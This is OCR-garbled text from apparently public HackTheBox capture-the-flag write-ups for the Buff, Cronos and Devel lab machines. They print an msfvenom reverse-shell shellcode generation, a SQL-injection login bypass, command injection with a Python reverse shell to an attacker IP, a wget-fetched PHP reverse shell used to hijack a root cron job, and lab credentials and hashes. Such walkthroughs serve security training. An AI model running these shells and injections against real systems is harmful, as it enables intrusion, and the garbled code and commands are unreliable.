C:\Users\shaun\Desktop\plink.exe -v -x -a -T -C -noagent -ssh -pw "kali" -R
<~ 8888:127.0.0.1:8888 kali@10.10.14.8

kali@kali: ~/toolbox/repos/writeupsall/htb.buff $
kaliakali: ~/toolbox/repos/writeupsall/htbh.buff $ service ssh status
@ ssh.service - OpenBSD Secure Shell server
Loaded: loaded (/1ib/systemd/system/ssh.service; disabled; vendor preset: disabled)
Active: active (running) since Thu 2020-07-23 09:36:37 IST; 8h ago
Docs: man:sshd(8)
man:sshd_config(5)
Process: 3982975 ExecStartPre=/usr/shin/sshd -t (code=exited, status=0/SUCCESS)
Main PID: 3982976 (sshd)
Tasks: 1 (limit: 4623)
Memory: 2.9M
CGroup: /system.slice/ssh.service
L 3982976 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
kaliakali: ~/toolbox/repos/writeupsall/htb.buff $

Figure 15: writeup.privesc.steps.4.1

11



C:\Users\shaun\Downloads>

C:\Users\shaun\Downloads>C:\Users\shaun\Desktop\plink.exe -v -x -a -T -C -noagent -ssh -pw "kali" -R 8888:127.0.0.1:8888 kalia10.10.14.8
C:\Users\shaun\Desktop\plink.exe -v -x -a -T -C -noagent -ssh -pw "kali" -R 8888:127.0.0.1:8888 kaliml0.10.14.8
Looking up host "10.10.14.8" for SSH connection

Connecting to 10.10.14.8 port 22

We claim version: SSH-2.8-PuTTY_Release_0.74

Remote version: SSH-2.0-OpenSSH_8.2p1 Debian-4

Using SSH protocol version 2

Doing ECDH key exchange with curve Curve25519 and hash SHA-256 (SHA-NI accelerated)
Server also has ecdsa-sha2-nistp256/ssh-rsa host keys, but we don't know any of them
Host key fingerprint is:

ssh-ed25519 255 ee:53:68:37:39:6e:ce:5d:4f:22:e9:77:de:c2:25:45

The server's host key is not cached in the registry. You

have no guarantee that the server is the computer you

think it is.

The server's ssh-ed25519 key fingerprint is:

ssh-ed25519 255 ee:53:68:37:39:6e:ce:5d:4f:22:e9:77:de:c2:25:45

If you trust this host, enter "y" to add the key to

PuTTY's cache and carry on connecting.

If you want to carry on connecting just once, without

adding the key to the cache, enter "n".

If you do not trust this host, press Return to abandon the

connection.

Store key in cache? (y/n) n

Initialised AES-256 SDCTR (AES-NI accelerated) outbound encryption
Initialised HMAC-SHA-256 (SHA-NI accelerated) outbound MAC algorithm

Will enable zlib (RFC1950) compression after user authentication
Initialised AES-256 SDCTR (AES-NI accelerated) inbound encryption
Initialised HMAC-SHA-256 (SHA-NI accelerated) outbound MAC algorithm

Will enable zlib (RFC1950) compression after user authentication
Initialised AES-256 SDCTR (AES-NI accelerated) inbound encryption
Initialised HMAC-SHA-256 (SHA-NI accelerated) inbound MAC algorithm

Will enable zlib (RFC1950) decompression after user authentication

Using username "kali".

Sent password

Initialised delayed zlib (RFC1950) decompression

Initialised delayed zlib (RFC1958) compression

Access granted

Requesting remote port 8888 forward to 127.0.0.1:8888

Opening main session channel

Remote port forwarding from 8888 enabled

Opened main channel

Started a shell/command

Linux kali 5.6.0-kalil-amd64 #1 SMP Debian 5.6.7-1kalil (2020-05-12) xB6_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Figure 16: writeup.privesc.steps.4.2

5. We update the exploit with the right shellcode, setup a reverse shell to catch incoming connection and run the
exploit:

msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.8 lport=443 -b "\x00\x0a\x0d" -f python -a
<~ x86 --platform windows -e x86/shikata_ga_nai

sudo nc -nlvp 443
python 48389.py
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kaligkali: ~/toolbox/repos/writeupsall/htb.buff $

kaligkali: ~/toolbox/repos/writeupsall/htb.buff $§ msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.8 lport=443 -b "\x00\x@a\x0d" -f python -a x86 --platform windows -e x86/shikata_ga_nai
Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 351 (iteration=0)

x86/shikata_ga_nai chosen with final size 351

Payload size: 351 bytes

Final size of python file: 1712 bytes

buf = b""

o
c
B
+
[

"\xda\xd1\xd9\x74\x24\x 4 \xb8\x38\x9b\xaf \xc4\x5b\x31"
buf += b"\xc9\xb1\x52\x31\x43\x17\x83\xC3\x04\x03\x7b\x88\x4d"

buf "\x31\x87\x46\x13\xba\x77\x97\x74\x32\x92\xab\xb4\x20"
buf "\xd7\x99\x04\x22 \xb5\x15\xee\x66\x2d\xad\x82\xae\x42"
buf "\x06\x28\x89\x6d\x97\x01\xed\xec\x1b\x58\x3e\xce\x22"
buf "\x93\x33\x0F\x62\xce\xbe\x5d\x3b\x84\x6d\x71\x48\xd0"
buf xad\xFa\x02\xf4\xb5\x1F\xd2\xF7\x94\xBe\x68\xae\x36"
buf x31\xbc\xda\x7e\x29\xa1\xe7\xc9\xc2\x11\x93\xch\x82"
buf x68\x5c\x67\x6b\x44\xaF\x79\xac\x63\x50\xBc\xch\x97"
buf "\ xed\x17\x13\xe5\x29\x9d\x87\x4d \xbo\x85\x63\x6f \x6e"
buf "\xd3\xed\x63\xdb\x97\xae\x67\xda\x74\xc5\x9c\x57\x7b"
buf \x09\x15\x23\x58\x8d\x7d\xF7\xc1\x94 \xdb\x56\x Fd \xc6"
buf "\x83\x07\x5b\x8d\x2e\x53\xd6\xcc\x26\x90\xdb\xee\xb6"
buf "\xbe\x6c\x9d\x84\x61\xc7\x09\xa5\xea\xc1\xce\xca\xc0"
buf "\xb6\x40\x35\xeb\xc6\x49\xF2\xbF\x96\xe1\xd3\xbf\x7c"
buf "\xf1\xde\x15\xd2\xa1\x72\xc6\x93\x11\x33\xb6\x 7b\x7b"
buf "\xbc\xe9\x9c\x84\x16\x82\x37\x7 f\xf1\xa7\xcd\x71\x09"
buf "\xd@\xd3\x8d\x08\x9b\x5d\x6b\x60\xch\x0b\x24\x1d\x72"
buf "\x16\xbe\xbc\x7b\x8c\xbb\xff\xf@\x23\x3c\xb1\xfo\x4e"
buf "\x2e\x26\xf1\x04\x0c\xe1\x0e\xb3\x38\x6d\x9c\x58\xb8"
buf "\xf8\xbd\xf6\xef\xad\x70\x0f\x65\x40\x2a\xb9\x9b\x99"
buf "\xaa\x82\x1f\x46\x0F\x0c\x9e\x0b\x2b\x2a\xb0\xd5\xb4"
buf "\x76\xe4\x89\xe2 \x20\x52 \x6c\x5d\x83\x0c\x26\x32 \x4d"
buf "\xd8\xbf\x78\x4e\x9e\xbf\x54\x38\x7e\x71\x01\x7d\x81"
buf "\xbe\xc5\x89\xfa\xa2\x75\x75\xd1\x66\x85\x3c\x7b\xce"

buf "\xBe\x99\xee\x52\x53\x1a\xc5\x91\x6a\x99\xeF\x69\x89"
buf += b"\xB1\x9a\x6c\xd5\x05\x77 \x1d\x46\xe0\x77\xb2\x67\x21"
kaligkali: ~/toolbox/repos/writeupsall/htb.buff §

Figure 17: writeup.privesc.steps.5.1

6. We immmediately get an elevated reverse shell connection and use it to read the root.txt flag:

type C:\Users\Administrator\Desktop\root.txt

kalidkali: ~/toolbox/repos/writeupsall/htb.buff $

kali@kali: ~/toolbox/repos/writeupsall/htb.buff $ sudo nc -nlvp 443
[sudo] password for kali:

listening on [any] 443 ...

connect to [10.10.14.8] from (UNKNOWN) [10.10.10.198] 57557
Microsoft Windows [Version 10.0.17134.1550]

(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
buff\administrator

C:\Windows\system32>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Ethernet@:

Connection-specific DNS Suffix . :

IPv6 Address. . . . . . . . . . . : dead:beef::616c:bed8:4b75:6e17

Temporary IPv6 Address. . . . . . : dead:beef::7813:413b:2e52:5901

Link-local IPv6 Address . . . . . : feB0::616c:bed8:4b75:6e17%10

IPv4 Address. . . . . . . . . . . ¢t 10.10.10.198

Subnet Mask . . . . . . . . . . . &t 255.255.255.0

Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:9eb2%10
10.10.10.2

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
1cd1d669bb9f044cfb215453d9ecB88d

C:\Windows\system32>

Figure 18: writeup.privesc.steps.6.1
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https://www.hackthebox.eu/home/machines/profile/263

[HackTheBox| CronOS

Date: 13/Nov/2019
Categories: oscp, htb, linux
Tags: exploit_ sqli, privesc_ cron

Overview

This is a writeup for HackTheBox VM CronOS. Here are stats for this machine from machinescli:

machinescli -t --info cronos

1. hackthebox#11 Cronos

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.hackthebox.eu/home/machines/profile/11
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=htb&unscoped_q=htb
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=exploit_sqli&unscoped_q=exploit_sqli
https://github.com/7h3rAm/writeups/search?q=privesc_cron&unscoped_q=privesc_cron
https://www.hackthebox.eu/home/machines/profile/11
https://github.com/7h3rAm/machinescli

[HTB] Cronos

10.10.10.13

Y
Phase #1: Enumeration

L
22/tcp | | 53/tep

dns axfr | l 80/tcp

L 4 l Y Y

cronos. htb nsl.cronos.htb www.cronos.htb admin.cronos.htb

L 4

login page, vulnerable to sqgli

l

Phase #2: Exploitation

l

‘bypass and login‘

¥
net tocls page, vulnerable to command injection

Y
‘python reverse shell‘

¥
l ‘netcat {www-data)‘

Y
‘user.txt‘ Phase #3: Privilege Escalation

k4
crontab lists a php job running as root

Y

replace php cron job file with php reverse shell and wait for a minute

¥
netcat (root)

root.txt

Figure 2: writeupéoverview.killchain




TTPs

1. 80/tcp/http/Apache httpd 2.4.18 ((Ubuntu)): exploit_sqli, privesc_cron


https://github.com/7h3rAm/writeups#exploit_sqli
https://github.com/7h3rAm/writeups#privesc_cron
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Wed Nov 13 14:08:01 2019 as: mmap —-vv —--reason —Pn -sV -sC

» ——version-all —olN

s /root/toolboz/writeups/htb.cronos/results/10.10.10.13/scans/_quick_tcp_nmap.tzt -oX
o /root/toolboz/writeups/htb.cronos/results/10.10.10.13/scans/zml/_quick_tcp_nmap.zml
% 10.10.10.13

Nmap scan report for 10.10.10.13

Host is up, received user-set (0.084s latency).

Scanned at 2019-11-13 14:08:02 PST for 23s

Not shown: 997 filtered ports

Reason: 997 no-responses

PORT  STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol
s 2.0)

| ssh-hostkey:

| 2048 18:b9:73:82:6£:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)

| ssh-rsa

= AAAAB3NzaC1lyc2EAAAADAQABAAABAQCkOUDbDExsLPWvII72vC7hU4sfLkKVEqyHRpvPWV2+552S4kHOrS25C/R+

< PyGIKHFOLGWTQTChmTbcRJLZE4cJCCOE0IyoeXUZWMYJCqV8crf1HiVG7Zx3wdUJ4yb54GEN1S4COFwChHEH9xH1gs JhkpkYEnmKc |
< +CvMzCbn6CZn9KayOuHPy5NEQTRIHOb j IEhbrz2ho8+

< bKP43f JpWFExObAzFFGzUOfMEt8Mj5j71JEpSws4GEgMycq4l1(Muw8g6Acf4AqvGC5zqpf2VRIDOBDi3gdD1vvX2d67QzHITPASwgC
< /KzoIAovEwGqjIvWnTzXLL8TilZI6/PV8wPHzn

| 256 la:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)

| ecdsa-sha2-nistp256

< AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbm1zdHAyNTYAAABBBKWsTNMJITOn5sJr5U1iP8dcbkBrDMs4yp7RRAvuul0E6FmMORRY
< /qrokZVNagS1SA9mC6eaxkgW6NBgBEggm3kiQ=

| 256 la:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)

| _ssh-ed25519 AAAAC3NzaC11ZDIINTESAAAATHBIQsAL/XR/HGmUzGZgRJe/11QvrFWnODXvxQ1Dc+Zx

53/tcp open domain syn-ack ttl 63 ISC BIND 9.10.3-P4 (Ubuntu Linux)

| dns-nsid:

|_ bind.version: 9.10.3-P4-Ubuntu

80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))

| http-methods:

| _ Supported Methods: GET HEAD POST OPTIONS

| _http-server-header: Apache/2.4.18 (Ubuntu)

| _http-title: Apache2 Ubuntu Default Page: It works

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap dome at Wed Nov 13 14:08:25 2019 -- 1 IP address (1 host up) scanned in 24.49 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:


https://github.com/Tib3rius/AutoRecon

b
4~ openports
# Port Protocol  Service Scans

1. 22/tep  ssh ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.l (Ubuntu Linux protocol 2.9) ./results/.
2. ttl 63 10.3 /result

0/,

0.10.13/scans/tcp_22_ssh_nmap. txt

cans/tcp_53_dns_nmap. txt

53/tcp domain 3 ISC BIND 9.10.3-P4 (Ubuntu Linux)

Figure 3: writeup.enumeration.steps.2.1

3. We start with DNS enumeration and with a reverse lookup and find that the subdomain ns1.cronos.htb is
associated with the target TP. Since DNS is responding on TCP, we also perform a DNS zone transfer and find
additional subdomains associated with the target IP:

dig +noall +answer -x 10.10.10.13 ©10.10.10.13
host -t axfr cronos.htb 10.10.10.13

root@kali: ~/toolbox/data/writeups/htb.cronos # dig +noall +answer -x 10.10.19.13 @10.10.19.13

13.10.10.10.in-addr.arpa. 604800 IN PTR nsl.cronos.htb.

root@kali: ~/toolbox/data/writeups/htb.cronos #

root@kali: ~/toolbox/data/writeups/htb.cronos #

root@kali: ~/toolbox/data/writeups/htb.cronos # host -t axfr cronos.htb 10.10.106.13

Trying "cronos.htb"
Using domain server:
Name: 10.10.10.13
Address: 10.10.10.13#53
Aliases:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 43089
;; Tlags: qr aa ra; QUERY: 1, ANSWER: 7, AUTHORITY: ©, ADDITIONAL: ©

:3 QUESTION SECTION:
;cronos.htb. IN AXFR

; + ANSWER SECTION:

cronos.htb. 604800 IN S0A cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb. 604800 IN NS nsl.cronos.htb.

cronos.htb. 604800 IN A 10.10.10.13

admin.cronos.htb. 604800 IN A 10.10.10.13

nsl.cronos.htb. 604800 IN A 10.10.10.13

wWww . cronos.htb. 604800 IN A 10.10.10.13

cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800

Received 192 bytes from 10.10.10.13#53 in 92 ms
root@kali: ~/toolbox/data/writeups/htb.cronos #

Figure 4: writeup.enumeration.steps.3.1



root@kali: —;tmmlhmx;datafwriteuha;hth.crmnﬂa # cat /etc/hosts

127.0.0.1 localhost

127.6.1.1 kali

10.10.10.13 cronos.htb

10.16.10.13 admin.cronos.htb

10.16.10.13 nsl.cronos.htb

10.16.16.13 www.cronos.htb

root@kali: -~/toolbox/data/writeups/htb.cronos #

Figure 5: writeup.enumeration.steps.3.2

4. Upon visiting the admin.cronos.htb subdomain, we are presented with a login page, that is vulnerable to SQL

injection:

X | Login Page

@ # admin.cronos.htb

Findings

Open Ports

22/tcp | ssh |
53/tcp | domain |
80/tcp | http |

UserName :
|' orl=1--- |

Password :

| Submit

Advertisement

Figure 6: writeup.enumeration.steps.4.1

OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
ISC BIND 9.10.3-P4 (Ubuntu Linux)
Apache httpd 2.4.18 ((Ubuntu))
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Phase #2: Exploitation

1. We use SQLi to successfully bypass login and are presented with a page that allows running the ping and
traceroute commands. The input field on this page is vulnerable to a command injection:

New Tab ¥ | Met Tool v0.1 x |+

| €& ] = @ | ©® admin.cronos.htb/welcome.php
£ links

Net Tool v0.1

| traceroute v |iB.B,B.B:uname | Executel |

Figure 7: writeup.exploitation.steps.1.1

2. We use this to execute a Python reverse shell and get interactive access on the target system:

nc -nlvp 443

python -c 'import
< socket,subprocess,os;s=socket.socket (socket.AF_INET,socket.SOCK_STREAM) ;s.connect(("10.10.14.25",443))
o os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);"

Mew Tab ¥ | NetToolv0.1 *

| €)= @ | @ admin.cronos.htb/welcome.php
7 links

Net Tool vO0.1

| traceroute v H LRRARL L Dython -C Import 50 | Execute!

Sign Out

Figure 8: writeup.exploitation.steps.2.1
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root@kali: -/toolbox/data/writeups/htb.cronos # nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.25] from (UNKNOWN) [1€.10.10.13] 38838
/bin/sh: @: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
$ uname -a
Linux cronos 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86 64 x86 64 x86 64 GNU/Linux
$
$ ifconfig
ens160 Link encap:Ethernet HWaddr 00:50:56:b9:26:e7
inet addr:18.10.108.13 Bcast:10.10.18.255 Mask:255.255.255.0
inet6 addr: dead:beef::250:56TT:Teb9:26e7/64 Scope:Global
inet6 addr: fe80::250:56Tf:feb9:26e7/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:973949 errors:@ dropped:® overruns:0 frame:@
TX packets:654641 errors:0 dropped:® overruns:0 carrier:80
collisions:® txqueuelen:1000
RX bytes:151554850 (151.5 MB) TX bytes:217904866 (217.9 MB)

Figure 9: writeup.exploitation.steps.2.2

3. We obtain the first flag since the file is readable by current user www-data:

www-data@cronos: /home/noulis$ cat user.ixt
51d236438b333970dbba7dc3089be33b
www-data@cronos: /home/nouliss

Figure 10: writeup.exploitation.steps.3.1

Phase #2.5: Post Exploitation

www-data@cronos> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@cronos>
www-data@cronos> uname
Linux cronos 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 z86_64 x86_64 x86_64
o GNU/Linuzx
www-data@cronos>
www-data@cronos> ifconfig
ens160 Link encap:Ethernet HWaddr 00:50:56:b9:26:e7
inet addr:10.10.10.13 Bcast:10.10.10.255 Mask:255.255.255.0
inet6 addr: dead:beef::250:56ff:feb9:26e7/64 Scope:Global
inet6 addr: fe80::250:56ff:feb9:26e7/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1008552 errors:0 dropped:0 overruns:0 frame:0
TX packets:687541 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:157239763 (157.2 MB) TX bytes:224790718 (224.7 MB)
www-data@cronos>
www-data@cronos> users
root
noulis



Phase #3: Privilege Escalation

1. While enumerating, we find hardcoded MySQL credentials for user admin within the /var/www/admin/config.php
file. We use these credentials to connect to MySQL service and obtain password hash for user admin. We were
unable to crack this hash:

www-data@cronos: /var/www/admin$ pwd
Jvar/www/admin

www-data@cronos: /var/www/admin$
www-data@cronos: /var/www/adming$
www-data@cronos: /var,/www/admin%
www-data@cronos: /var/www/admin$ 1ls -la

total 32

drwxr-xr-x 2 www-data www-data 4096 Jul 27 2017

drwxr-xr-x 5 root root 4096 Apr 9 2017

-rw-r--r-- 1 www-data www-data 1024 Apr 9 2017 .welcome.php.swp
-rw-r--r-- 1 www-data www-data 237 Apr 9 2017 config.php
-rw-r--r-- 1 www-data www-data 3564 Jul 27 2017 index.php
-rw-r--r-- 1 www-data www-data 102 Apr 9 2017 logout.php
-rw-r--r-- 1 www-data www-data 383 Apr 9 2017 session.php
-rw-r--r-- 1 www-data www-data 782 Apr 9 2017 welcome.php

www-data@cronos: /var,/www/admin%
www-data@cronos: /var,/www/admins
www-data@cronos: /var/www/admin$ cat config.php
<?php
define('DB SERVER', 'localhost');
define('DB USERNAME', 'admin');

define('DE PASSWORD', 'kEjdbRigfBHUREiNSDs');

define( 'DB_DATABASE', "admin');

$db = mysql i_cnnnect {DB_SERU‘ER, DB _USERNAME,DB PASSWORD, DB_D#.T#.BASE} :
7=
www-data@cronos: /var/www/admin$

Figure 11: writeup.privesc.steps.1.1



www-data@cronos: /var/www/admin$ mysql -h localhost -u admin -p
Enter password:

Welcome to the MySOL monitor. Commands end with ; or \g.

Your MySQL connection id is 33

Server version: 5.7.17-8ubuntu®.16.84.2 (Ubuntu)

Copyright (c) 2080, 2016, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

owners.

Type 'help;' or '\h' for help. Type '“c¢' to clear the current input statement.

mysql= show databases;

o e +
| Database |
R +
| information schema |
| admin |
e +

2 rows in set (0.00 sec)

mysql= use admin;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql= show tables;

e +
| Tables in admin |
e +
| users |
e +

1 row in set (0.00 sec)

mysql= select * from users;

et s e e +
| id | username | password |
et s e e +
| 1 | admin | 4f5fffa7b2340178a716e3832451e058 |
et s e e +

1 row in set (0.00 sec)

Figure 12: writeup.privesc.steps.1.2

2. Upon further enumeration, we find that there’s a cronjob that run a PHP file every minute with root privileges.
Luckily for us, the PHP file it runs is owned by current user www-data:
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www-data@cronos: /var/www/admin$ cat /etc/crontab

# Jetc/crontab: system-wide crontab

# Unlike any other crontab you don't have to run the "crontab’

# command to install the new version when you edit this file

# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin: /usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command

17 * *. &k root cd / && run-parts --report /etc/cron.hourly

25 6 A root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )

47 6 * ¥ 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly }

52 6 1 ¥ * root test -x /usr/sbin/anacron ( cd / & run-parts --report /etc/cron.monthly )
o $ o

root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

www-data@cronos: /var/www/adming

Figure 13: writeup.privesc.steps.2.1

www-data@cronos: /var/www/adming 1s -1 /var/www/laravel/artisan
St s G BRI R ER IR | 1646 Apr 9 2817 /var/www/laravel/artisan
www-data@cronos: /var/www/adming

Figure 14: writeup.privesc.steps.2.2

3. We can replace this file with a PHP reverse shell and catch the incoming shell to obtain elevated privileges:
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www-data@cronos: fvar/www/admin$ which wget

fusr/bin/wget

www-data@cronos: /var/www/admin$

www-data@cronos: /var/www/admin$

www-data@cronos: fvar/www/admin$ wget http://10.10.14.25:8000/prs
--2019-11-14 ©1:12:01-- http://10.10.14.25:8000/prs

Connecting to 10.10.14.25:8000... connected.

HTTP request sent, awaiting response... 200 OK

Length: 3460 (3.4K) [application/octet-stream]

Saving to: 'prs’'

prs 1ﬂﬂ95[ ::::::::::::::::::::}] 3_ 3BK == —KBIS
2019-11-14 ©1:12:01 (324 MB/s) - 'prs' saved [34608/3460]
www-data@cronos: /var/www/admin$

www-data@cronos: /var/www/admin$

www-data@cronos: /var/www/admin$ 1ls -la
total 36

drwxr-xr-x 2 www-data www-data 4096 Nov 14 ©1:12

drwxr-xr-x 5 root root 4096 Apr 9 2017 ..

-rw-r--r-- 1 www-data www-data 1824 Apr 9 2817 .welcome.php.swp
-rw-r--r-- 1 www-data www-data 237 Apr 9 2017 config.php
-rw-r--r-- 1 www-data www-data 3564 Jul 27 2017 index.php
-rw-r--r-- 1 www-data www-data 102 Apr 9 2817 logout.php
-rw-r--r-- 1 www-data www-data 3460 Nov 14 01:11 prs

-rw-r--r-- 1 www-data www-data 383 Apr 9 2017 session.php

-rw-r--r-- 1 www-data www-data 782 Apr 9 2017 welcome.php
www-data@cronos: /var/www/admin$

=min$ mv fvar/www/laravel/artisan fvar/www/laravel/artisan.bckup
www-data@cronos: /var/www/admins

www-data@cronos: /var/www/admin$ mv prs /var/www/laravel/artisan

Figure 15: writeup.privesc.steps.3.1
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root@kali: ~/toolbox/data/writeups/htb.cronos # nc -nlvp 9999
listening on [any] 9999 ...
connect to [18.18.14.25] from (UNKNOWN) [10.10.10.13] 58588
Linux crones 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86 64 x86 64 x86 64 GNU/Linux
01:13:01 up 1:10, © users, load average: ©.14, 0.08, 0.82
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=0(reoot) gid=@(root) groups=0(root)
/bin/sh: B: can't access tty; job control turned off
# id
uid=8(root) gid=@(root) groups=0(root)
#
# uname -a
Linux crones 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86 64 x86 64 x86 64 GNU/Linux
#
# ifconfig
ensl6e Link encap:Ethernet HWaddr 00:50:56:b9:26:e7
inet addr:10.10.16.13 Bcast:10.10.10.255 Mask:255.255.255.0
inet6 addr: dead:beef::250:56ff:feb9:26e7/64 Scope:Global
inet6 addr: fe88::250:56ff:Teb9:26e7/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1003153 errors:0 dropped:@ overruns:@ frame:@
TX packets:682704 errors:® dropped:® overruns:0 carrier:0
collisions:® txqueuelen:1000
RX bytes:156498552 (156.4 MB) TX bytes:224003263 (224.0 MB)

Figure 16: writeup.privesc.steps.3.2

4. We then view the contents of the root.txt file to complete the challenge:

# pwd

/

#

# cd /root

# 1s -la

total 32

drwx------ 4 root root 4096 Apr 2017
drwxr-xr-x 23 root root 4096 Apr 9 2017

o

-MW------- 1 root root 1 Dec 24 2017 .bash history
-rw-r--r-- 1 root root 3186 Oct 22 2015 .bashrc
drwx------ 2 root root 4096 Mar 22 2017 .cache
drwxr-xr-x 2 root root 4096 Apr 9 2017 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
“F=====-~- 1 root root 33 Mar 22 2017 root.txt

# cat root.txt
1703b8a3c9a8dde879942¢c79d02fd3a0
#

Figure 17: writeup.privesc.steps.4.1
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Loot

Hashes
root: $6$L2m6DIJwN$p/xas4tCNp19sdadq2ZzGC82Ix7GiEb7xvCbzWCsFHs/eR82G4/Y0nni/ |
< .L69tpCk0Go51mOAU7ZzhO1P5. ... ... ... L
www-data:$6
<  $SYixzIan$P3cvyztSwAllmILF3kpKcqZpYSDONYwMwplB62RWulRk1KqIGCX1zleXuVwzxjLcpUBbhiWONO3AWkZVU. .. .. ... ...

noulis:$6$ApsLg5. I$Zd9b1HPGRHAQOab94HKuQFtJ8m7ob8MFnX6WIIrOAah6pW/ |
~ aZ.yA3T1iU131CSixrh6NG1.GHP1.QbjHS............... ... ... ...

Credentials

mysql: admin/kEjdbRigfBHURE.....

Flags

/home/noulis/user.txt: 51d236438b333970dbba7...........
/root/root.txt: 1703b8a3c9a8dde879942c..........

References

[+] https://www.hackthebox.eu/home/machines/profile /11
[+] https://www.youtube.com/watch?v=CYeVUmOar3I
[+] https://medium.com/cronos-htb-walkthough/cronos-htb-walkthrough-9ef91750726
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[HackTheBox] Devel

Date: 05/Nov/2019

Categories: oscp, htb, windows
Tags: exploit_ ftp_anonymous, exploit_ ftp_ web_ root, exploit__iis_asp_ reverseshell, privesc_ windows_ ms11_ 046

Overview

This is a writeup for HackTheBox VM Devel. Here are stats for this machine from machinescli:

machinescli -t --info "hackthebox#3"

# ID Name Rating Difficulty 0S 0SCPlike  Owned TTPs
1. hackthebox#3 Devel g _ ® = ® [ ]

privesc_windows_ms11_046

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.hackthebox.eu/home/machines/profile/3
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=htb&unscoped_q=htb
https://github.com/7h3rAm/writeups/search?q=windows&unscoped_q=windows
https://github.com/7h3rAm/writeups/search?q=exploit_ftp_anonymous&unscoped_q=exploit_ftp_anonymous
https://github.com/7h3rAm/writeups/search?q=exploit_ftp_web_root&unscoped_q=exploit_ftp_web_root
https://github.com/7h3rAm/writeups/search?q=exploit_iis_asp_reverseshell&unscoped_q=exploit_iis_asp_reverseshell
https://github.com/7h3rAm/writeups/search?q=privesc_windows_ms11_046&unscoped_q=privesc_windows_ms11_046
https://www.hackthebox.eu/home/machines/profile/3
https://github.com/7h3rAm/machinescli
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Figure 2: Writeupéoverview.killchain



TTPs

1. 21/tcp/ftp/Microsoft ftpd: exploit_ftp_anonymous, exploit_ftp_ web_root
2. 80/tcp/http/Microsoft IIS httpd 7.5: exploit_iis asp_ reverseshell, privesc_ windows_msl1l 046


https://github.com/7h3rAm/writeups#exploit_ftp_anonymous
https://github.com/7h3rAm/writeups#exploit_ftp_web_root
https://github.com/7h3rAm/writeups#exploit_iis_asp_reverseshell
https://github.com/7h3rAm/writeups#privesc_windows_ms11_046
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Tue Nov b5 11:28:16 2019 as: mmap —-vv —--reason —Pn -sV -sC
» ——version-all —olN

s /root/toolboz/uriteups/htdb.devel/results/10.10.10.5/scans/_quick_tcp_nmap.tzt -oX
o /root/toolboz/writeups/htb.devel/results/10.10.10.5/scans/zml/_quick_tcp_nmap.zml
% 10.10.10.5

